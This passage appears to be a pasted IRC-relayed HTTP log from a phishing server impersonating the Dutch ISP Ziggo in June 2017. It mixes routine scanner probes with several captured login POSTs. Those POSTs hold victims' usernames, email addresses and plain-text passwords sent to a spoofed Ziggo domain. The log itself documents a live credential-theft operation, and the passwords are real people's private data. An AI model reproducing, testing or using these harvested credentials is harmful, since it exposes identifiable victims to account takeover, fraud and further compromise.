  5717. [16:49] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5718. [16:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  5719. [16:49] <HTTP> Content-Length: 136
  5720. [16:49] <HTTP> Connection: keep-alive
  5721. [16:49] <HTTP> Upgrade-Insecure-Requests: 1
  5722. [16:49] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=janvangalen%40ziggo.nl&userId=janvangalen%40ziggo.nl&password=THjeti1293&button=
  5723. [16:51] <HTTP> Socket initiated: 84.105.34.209
  5724. [16:51] <HTTP> Socket initiated: 84.105.34.209
  5725. [16:51] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5726. [16:51] <HTTP> Host: ziggo.nl.hacked.jp
  5727. [16:51] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
  5728. [16:51] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5729. [16:51] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  5730. [16:51] <HTTP> Accept-Encoding: gzip, deflate
  5731. [16:51] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5732. [16:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  5733. [16:51] <HTTP> Content-Length: 106
  5734. [16:51] <HTTP> Connection: keep-alive
  5735. [16:51] <HTTP> Upgrade-Insecure-Requests: 1
  5736. [16:51] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=jan1293&userId=jan1293&password=THjeti1293&button=
  5737. [17:00] <HTTP> Socket initiated: 91.230.47.3
  5738. [17:00] <HTTP> GET / HTTP/1.0
  5739. [17:00] <HTTP> Connection: close
  5740. [19:15] <HTTP> Socket initiated: 91.230.47.3
  5741. [19:15] <HTTP> GET / HTTP/1.0
  5742. [19:15] <HTTP> Connection: close
  5743. [20:18] <HTTP> Socket initiated: 91.230.47.3
  5744. [20:18] <HTTP> GET / HTTP/1.0
  5745. [20:18] <HTTP> Connection: close
  5746. [22:24] <HTTP> Socket initiated: 138.204.184.10
  5747. [22:24] <HTTP> GET / HTTP/1.1
  5748. [22:24] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  5749. [22:24] <HTTP> Host: 172.86.120.218
  5750. [22:24] <HTTP> Accept: */*
  5751. [22:29] <HTTP> Socket initiated: 91.230.47.3
  5752. [22:29] <HTTP> GET / HTTP/1.0
  5753. [22:29] <HTTP> Connection: close
  5754. [23:29] <HTTP> Socket initiated: 91.230.47.3
  5755. [23:29] <HTTP> GET / HTTP/1.0
  5756. [23:29] <HTTP> Connection: close
  5757. Session Time: Tue Jun 06 00:00:01 2017
  5758. [02:09] <HTTP> Socket initiated: 91.230.47.3
  5759. [02:09] <HTTP> GET / HTTP/1.0
  5760. [02:09] <HTTP> Connection: close
  5761. [02:13] <HTTP> Socket initiated: 118.102.169.218
  5762. [02:13] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5763. [02:13] <HTTP> Connection: Keep-Alive
  5764. [02:13] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5765. [02:13] <HTTP> translate: f
  5766. [02:13] <HTTP> Host: 172.86.120.218
  5767. [02:14] <HTTP> Socket initiated: 118.102.169.218
  5768. [02:14] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5769. [02:14] <HTTP> Connection: Keep-Alive
  5770. [02:14] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5771. [02:14] <HTTP> translate: f
  5772. [02:14] <HTTP> Host: 172.86.120.218
  5773. [02:15] <HTTP> Socket initiated: 118.102.169.218
  5774. [02:15] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5775. [02:15] <HTTP> Connection: Keep-Alive
  5776. [02:15] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5777. [02:15] <HTTP> translate: f
  5778. [02:15] <HTTP> Host: 172.86.120.218
  5779. [02:16] <HTTP> Socket initiated: 118.102.169.218
  5780. [02:16] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5781. [02:16] <HTTP> Connection: Keep-Alive
  5782. [02:16] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5783. [02:16] <HTTP> translate: f
  5784. [02:16] <HTTP> Host: 172.86.120.218
  5785. [02:34] <HTTP> Socket initiated: 89.248.172.90
  5786. [02:34] <HTTP> Socket initiated: 89.248.172.90
  5787. [02:35] <HTTP> GET http://httpheader.net/ HTTP/1.1
  5788. [02:35] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5789. [02:35] <HTTP> Host: httpheader.net
  5790. [02:35] <HTTP> Accept-Encoding: deflate, gzip
  5791. [02:35] <HTTP> Proxy-Connection: Keep-Alive
  5792. [02:35] <HTTP> Accept-Language: en-gb,en;q=0.5
  5793. [02:35] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5794. [02:35] <HTTP> Socket initiated: 89.248.172.90
  5795. [02:35] <HTTP> Socket initiated: 89.248.172.90
  5796. [02:35] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5797. [02:35] <HTTP> Socket initiated: 89.248.172.90
  5798. [02:35] <HTTP> Pragma: no-cache
  5799. [02:35] <HTTP> Cache-Control: no-cache
  5800. [02:35] <HTTP> CONNECT www.ziggo.nl:443 HTTP/1.1
  5801. [02:35] <HTTP> Host: www.ziggo.nl:443
  5802. [02:35] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5803. [02:35] <HTTP> Proxy-Connection: Keep-Alive
  5804. [02:35] <HTTP> Accept-Language: en-gb,en;q=0.5
  5805. [02:35] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5806. [02:35] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5807. [02:35] <HTTP> Pragma: no-cache
  5808. [02:35] <HTTP> Cache-Control: no-cache
  5809. [02:35] <HTTP> GET http://httpheader.net/ HTTP/1.1
  5810. [02:35] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5811. [02:35] <HTTP> Host: httpheader.net
  5812. [02:35] <HTTP> Accept-Encoding: deflate, gzip
  5813. [02:35] <HTTP> Proxy-Connection: Keep-Alive
  5814. [02:35] <HTTP> Accept-Language: en-gb,en;q=0.5
  5815. [02:35] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5816. [02:35] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5817. [02:35] <HTTP> Pragma: no-cache
  5818. [02:35] <HTTP> Cache-Control: no-cache
  5819. [02:35] <HTTP> CONNECT www.ziggo.nl:443 HTTP/1.1
  5820. [02:35] <HTTP> Host: www.ziggo.nl:443
  5821. [02:35] <HTTP> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
  5822. [02:35] <HTTP> Proxy-Connection: Keep-Alive
  5823. [02:35] <HTTP> Accept-Language: en-gb,en;q=0.5
  5824. [02:35] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5825. [02:35] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  5826. [02:35] <HTTP> Pragma: no-cache
  5827. [02:35] <HTTP> Cache-Control: no-cache
  5828. [02:35] <HTTP> 
  5829. [02:35] <HTTP> 
  5830. [03:11] <HTTP> Socket initiated: 91.230.47.3
  5831. [03:11] <HTTP> GET / HTTP/1.0
  5832. [03:11] <HTTP> Connection: close
  5833. [05:26] <HTTP> Socket initiated: 91.230.47.3
  5834. [05:26] <HTTP> GET / HTTP/1.0
  5835. [05:26] <HTTP> Connection: close
  5836. [06:26] <HTTP> Socket initiated: 91.230.47.3
  5837. [06:26] <HTTP> GET / HTTP/1.0
  5838. [06:26] <HTTP> Connection: close
  5839. [07:15] <HTTP> Socket initiated: 201.110.228.50
  5840. [07:15] <HTTP> GET / HTTP/1.1
  5841. [07:15] <HTTP> Host: 172.86.120.218:80
  5842. [07:15] <HTTP> Accept: */*
  5843. [07:15] <HTTP> Connection: keep-alive
  5844. [07:36] <HTTP> Socket initiated: 185.35.63.188
  5845. [07:36] <HTTP> GET / HTTP/1.1
  5846. [07:36] <HTTP> Host: 172.86.120.218
  5847. [07:36] <HTTP> User-Agent: zi
  5848. [07:36] <HTTP> Accept: */*
  5849. [07:36] <HTTP> Language: en
  5850. [08:15] <HTTP> Socket initiated: 118.102.169.218
  5851. [08:15] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5852. [08:15] <HTTP> Connection: Keep-Alive
  5853. [08:15] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5854. [08:15] <HTTP> translate: f
  5855. [08:15] <HTTP> Host: 172.86.120.218
  5856. [08:16] <HTTP> Socket initiated: 118.102.169.218
  5857. [08:16] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5858. [08:16] <HTTP> Connection: Keep-Alive
  5859. [08:16] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5860. [08:16] <HTTP> translate: f
  5861. [08:16] <HTTP> Host: 172.86.120.218
  5862. [08:17] <HTTP> Socket initiated: 118.102.169.218
  5863. [08:17] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5864. [08:17] <HTTP> Connection: Keep-Alive
  5865. [08:17] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5866. [08:17] <HTTP> translate: f
  5867. [08:17] <HTTP> Host: 172.86.120.218
  5868. [08:18] <HTTP> Socket initiated: 118.102.169.218
  5869. [08:18] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5870. [08:18] <HTTP> Connection: Keep-Alive
  5871. [08:18] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5872. [08:18] <HTTP> translate: f
  5873. [08:18] <HTTP> Host: 172.86.120.218
  5874. [09:03] <HTTP> Socket initiated: 91.230.47.3
  5875. [09:03] <HTTP> GET / HTTP/1.0
  5876. [09:03] <HTTP> Connection: close
  5877. 02[09:25] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  5878. [09:33] <HTTP> Socket initiated: 84.106.180.192
  5879. [09:33] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5880. [09:33] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  5881. [09:34] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5882. [09:34] <HTTP> Accept-Language: nl-NL
  5883. [09:34] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  5884. [09:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  5885. [09:34] <HTTP> Accept-Encoding: gzip, deflate
  5886. [09:34] <HTTP> Host: ziggo.nl.hacked.jp
  5887. [09:34] <HTTP> Content-Length: 104
  5888. [09:34] <HTTP> Connection: Keep-Alive
  5889. [09:34] <HTTP> Cache-Control: no-cache
  5890. [09:34] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Ankie47&userId=Ankie47&password=YaJa0614&button=
  5891. [09:41] <HTTP> Socket initiated: 139.162.124.167
  5892. [09:41] <HTTP> GET / HTTP/1.1
  5893. [09:41] <HTTP> Host: 172.86.120.218
  5894. [09:41] <HTTP> User-Agent: Mozilla/5.0
  5895. [09:41] <HTTP> Accept-Encoding: gzip
  5896. [09:41] <HTTP> Connection: close
  5897. [09:43] <HTTP> Socket initiated: 82.72.209.0
  5898. [09:43] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5899. [09:43] <HTTP> Host: ziggo.nl.hacked.jp
  5900. [09:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  5901. [09:43] <HTTP> Origin: http://219.93.200.189
  5902. [09:43] <HTTP> Accept-Encoding: gzip, deflate
  5903. [09:43] <HTTP> Connection: keep-alive
  5904. [09:43] <HTTP> Upgrade-Insecure-Requests: 1
  5905. [09:43] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5906. [09:43] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  5907. [09:43] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5908. [09:43] <HTTP> Content-Length: 108
  5909. [09:43] <HTTP> Accept-Language: nl-nl
  5910. [09:44] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Miranda286&userId=Miranda286&password=280672&button=
  5911. [10:04] <HTTP> Socket initiated: 91.230.47.3
  5912. [10:05] <HTTP> GET / HTTP/1.0
  5913. [10:05] <HTTP> Connection: close
  5914. [10:23] <HTTP> Socket initiated: 114.215.149.183
  5915. [10:23] <HTTP> GET /phpMyAdmin/scripts/setup.php HTTP/1.1
  5916. [10:23] <HTTP> Host: 172.86.120.218
  5917. [10:24] <HTTP> Socket initiated: 114.215.149.183
  5918. [10:24] <HTTP> GET /pma/scripts/setup.php HTTP/1.1
  5919. [10:25] <HTTP> Host: 172.86.120.218
  5920. [10:26] <HTTP> Socket initiated: 114.215.149.183
  5921. [10:26] <HTTP> GET /myadmin/scripts/setup.php HTTP/1.1
  5922. [10:26] <HTTP> Host: 172.86.120.218
  5923. [11:20] <HTTP> Socket initiated: 82.101.255.13
  5924. [11:20] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5925. [11:20] <HTTP> Host: ziggo.nl.hacked.jp
  5926. [11:20] <HTTP> Connection: keep-alive
  5927. [11:20] <HTTP> Content-Length: 116
  5928. [11:20] <HTTP> Cache-Control: max-age=0
  5929. [11:20] <HTTP> Origin: http://219.93.200.189
  5930. [11:20] <HTTP> Upgrade-Insecure-Requests: 1
  5931. [11:20] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
  5932. [11:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  5933. [11:20] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5934. [11:20] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5935. [11:20] <HTTP> Accept-Encoding: gzip, deflate
  5936. [11:20] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5937. [11:20] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&useuserId=robertstamkot&password=&button=
  5938. 03[12:18] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5939. [12:23] <HTTP> Socket initiated: 141.212.122.96
  5940. [12:23] <HTTP> GET / HTTP/1.1
  5941. [12:23] <HTTP> Host: 172.86.120.218
  5942. [12:23] <HTTP> User-Agent: Mozilla/5.0 zgrab/0.x
  5943. [12:23] <HTTP> Accept-Encoding: gzip
  5944. [12:33] <HTTP> Socket initiated: 46.209.210.18
  5945. [12:33] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5946. [12:33] <HTTP> Connection: Keep-Alive
  5947. [12:33] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5948. [12:33] <HTTP> translate: f
  5949. [12:33] <HTTP> Host: 172.86.120.218
  5950. [12:34] <HTTP> Socket initiated: 46.209.210.18
  5951. [12:34] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5952. [12:34] <HTTP> Connection: Keep-Alive
  5953. [12:34] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5954. [12:34] <HTTP> translate: f
  5955. [12:34] <HTTP> Host: 172.86.120.218
  5956. [12:35] <HTTP> Socket initiated: 46.209.210.18
  5957. [12:35] <HTTP> OPTIONS /ipc$ HTTP/1.1
  5958. [12:35] <HTTP> Connection: Keep-Alive
  5959. [12:35] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  5960. [12:35] <HTTP> translate: f
  5961. [12:35] <HTTP> Host: 172.86.120.218
  5962. [12:36] <HTTP> Socket initiated: 91.230.47.3
  5963. [12:36] <HTTP> GET / HTTP/1.0
  5964. [12:36] <HTTP> Connection: close
  5965. [13:40] <HTTP> Socket initiated: 91.230.47.3
  5966. [13:40] <HTTP> GET / HTTP/1.0
  5967. [13:40] <HTTP> Connection: close
  5968. [14:17] <HTTP> Socket initiated: 24.155.193.43
  5969. [14:18] <HTTP> GET login.cgi HTTP/1.0
  5970. [15:09] <HTTP> Socket initiated: 217.120.155.186
  5971. [15:09] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5972. [15:09] <HTTP> Host: ziggo.nl.hacked.jp
  5973. [15:09] <HTTP> Connection: keep-alive
  5974. [15:09] <HTTP> Content-Length: 110
  5975. [15:09] <HTTP> Cache-Control: max-age=0
  5976. [15:09] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5977. [15:09] <HTTP> Origin: http://219.93.200.189
  5978. [15:09] <HTTP> Upgrade-Insecure-Requests: 1
  5979. [15:09] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2631.0 Safari/537.36
  5980. [15:09] <HTTP> Content-Type: application/x-www-form-urlencoded
  5981. [15:09] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5982. [15:09] <HTTP> Accept-Encoding: gzip, deflate
  5983. [15:09] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5984. [15:09] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=musscher63&userId=musscher63&password=HarMus65&button=
  5985. [15:46] <HTTP> Socket initiated: 83.85.117.169
  5986. [15:46] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5987. [15:46] <HTTP> Host: ziggo.nl.hacked.jp
  5988. [15:46] <HTTP> Connection: keep-alive
  5989. [15:46] <HTTP> Content-Length: 111
  5990. [15:46] <HTTP> Cache-Control: max-age=0
  5991. [15:46] <HTTP> Origin: http://219.93.200.189
  5992. [15:46] <HTTP> Upgrade-Insecure-Requests: 1
  5993. [15:46] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  5994. [15:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  5995. [15:46] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5996. [15:46] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5997. [15:46] <HTTP> Accept-Encoding: gzip, deflate
  5998. [15:46] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  5999. [15:46] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=tichageers&userId=tichageers&password=bongo2011&button=
  6000. [15:47] <HTTP> Socket initiated: 150.70.173.56
  6001. [15:47] <HTTP> GET / HTTP/1.1
  6002. [15:47] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6003. [15:47] <HTTP> Host: ziggo.nl.hacked.jp
  6004. [15:47] <HTTP> Accept: */*
  6005. [15:52] <HTTP> Socket initiated: 91.230.47.3
  6006. [15:52] <HTTP> GET / HTTP/1.0
  6007. [15:52] <HTTP> Connection: close
  6008. [15:52] <HTTP> Socket initiated: 150.70.173.11
  6009. [15:52] <HTTP> GET / HTTP/1.1
  6010. [15:52] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6011. [15:53] <HTTP> Host: ziggo.nl.hacked.jp
  6012. [15:53] <HTTP> Accept: */*
  6013. 02[16:01] * independent (independen@Owner.home-unix.com) Quit (irc-2.home-unix.com irc-3.home-unix.com)
  6014. [16:25] <HTTP> Socket initiated: 150.70.173.14
  6015. [16:25] <HTTP> GET / HTTP/1.1
  6016. [16:25] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6017. [16:25] <HTTP> Host: ziggo.nl.hacked.jp
  6018. [16:25] <HTTP> Accept: */*
  6019. [16:53] <HTTP> Socket initiated: 91.230.47.3
  6020. [16:53] <HTTP> GET / HTTP/1.0
  6021. [16:53] <HTTP> Connection: close
  6022. 03[17:59] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  6023. [18:02] <HTTP> Socket initiated: 150.70.188.167
  6024. [18:02] <HTTP> GET / HTTP/1.1
  6025. [18:02] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6026. [18:02] <HTTP> Host: ziggo.nl.hacked.jp
  6027. [18:02] <HTTP> Accept: */*
  6028. [19:36] <HTTP> Socket initiated: 91.230.47.3
  6029. [19:36] <HTTP> GET / HTTP/1.0
  6030. [19:36] <HTTP> Connection: close
  6031. [20:41] <HTTP> Socket initiated: 91.230.47.3
  6032. [20:41] <HTTP> GET / HTTP/1.0
  6033. [20:41] <HTTP> Connection: close
  6034. [21:26] <HTTP> Socket initiated: 150.70.173.44
  6035. [21:26] <HTTP> GET / HTTP/1.1
  6036. [21:26] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6037. [21:26] <HTTP> Host: ziggo.nl.hacked.jp
  6038. [21:26] <HTTP> Accept: */*
  6039. [21:32] <HTTP> Socket initiated: 150.70.173.13
  6040. [21:32] <HTTP> GET / HTTP/1.1
  6041. [21:32] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6042. [21:32] <HTTP> Host: ziggo.nl.hacked.jp
  6043. [21:32] <HTTP> Accept: */*
  6044. 02[21:54] * independent (independen@Owner.home-unix.com) Quit (irc-2.home-unix.com irc-1.home-unix.com)
  6045. 03[21:56] * independent (independen@Owner.home-unix.com) has joined ##ss
  6046. [22:09] <HTTP> Socket initiated: 150.70.188.178
  6047. [22:09] <HTTP> GET / HTTP/1.1
  6048. [22:09] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  6049. [22:09] <HTTP> Host: ziggo.nl.hacked.jp
  6050. [22:09] <HTTP> Accept: */*
  6051. [22:54] <HTTP> Socket initiated: 91.230.47.3
  6052. [22:54] <HTTP> GET / HTTP/1.0
  6053. [22:54] <HTTP> Connection: close
  6054. [23:40] <HTTP> Socket initiated: 46.209.210.18
  6055. [23:40] <HTTP> OPTIONS /ipc$ HTTP/1.1
  6056. [23:40] <HTTP> Connection: Keep-Alive
  6057. [23:40] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  6058. [23:40] <HTTP> translate: f
  6059. [23:40] <HTTP> Host: 172.86.120.218
  6060. [23:41] <HTTP> Socket initiated: 46.209.210.18
  6061. [23:41] <HTTP> OPTIONS /ipc$ HTTP/1.1
  6062. [23:41] <HTTP> Connection: Keep-Alive
  6063. [23:41] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  6064. [23:41] <HTTP> translate: f
  6065. [23:41] <HTTP> Host: 172.86.120.218
  6066. [23:56] <HTTP> Socket initiated: 91.230.47.3
  6067. [23:56] <HTTP> GET / HTTP/1.0
  6068. [23:56] <HTTP> Connection: close
  6069. Session Time: Wed Jun 07 00:00:00 2017
  6070. [01:08] <HTTP> Socket initiated: 209.126.136.4
  6071. [01:08] <HTTP> GET / HTTP/1.1
  6072. [01:08] <HTTP> Host: 172.86.120.218
  6073. [01:08] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
  6074. [01:08] <HTTP> Accept-Encoding: gzip
  6075. [02:21] <HTTP> Socket initiated: 91.230.47.3
  6076. [02:21] <HTTP> GET / HTTP/1.0
  6077. [02:21] <HTTP> Connection: close
  6078. [03:00] <HTTP> Socket initiated: 54.169.179.111
  6079. [03:00] <HTTP> GET / HTTP/1.1
  6080. [03:00] <HTTP> Host: 172.86.120.218
  6081. [03:00] <HTTP> User-Agent: Mozilla/5.0 zgrab/0.x
  6082. [03:00] <HTTP> Accept-Encoding: gzip
  6083. [03:21] <HTTP> Socket initiated: 91.230.47.3
  6084. [03:21] <HTTP> GET / HTTP/1.0
  6085. [03:21] <HTTP> Connection: close
  6086. [03:28] <HTTP> Socket initiated: 106.75.104.92
  6087. [03:28] <HTTP> GET / HTTP/1.1
  6088. [03:28] <HTTP> Accept-Encoding: gzip,deflate,sdch
  6089. [03:28] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6090. [03:28] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
  6091. [03:28] <HTTP> Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
  6092. [03:28] <HTTP> Accept-Language: zh-CN,zh;q=0.8
  6093. [03:28] <HTTP> Host: 172.86.120.218
  6094. [04:56] <HTTP> Socket initiated: 107.190.198.9
  6095. [04:57] <HTTP> GET login.cgi HTTP/1.0
  6096. [05:47] <HTTP> Socket initiated: 183.92.173.120
  6097. [05:47] <HTTP> GET login.cgi HTTP/1.0
  6098. [06:02] <HTTP> Socket initiated: 91.230.47.3
  6099. [06:02] <HTTP> GET / HTTP/1.0
  6100. [06:02] <HTTP> Connection: close
  6101. [07:04] <HTTP> Socket initiated: 91.230.47.3
  6102. [07:04] <HTTP> GET / HTTP/1.0
  6103. [07:05] <HTTP> Connection: close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement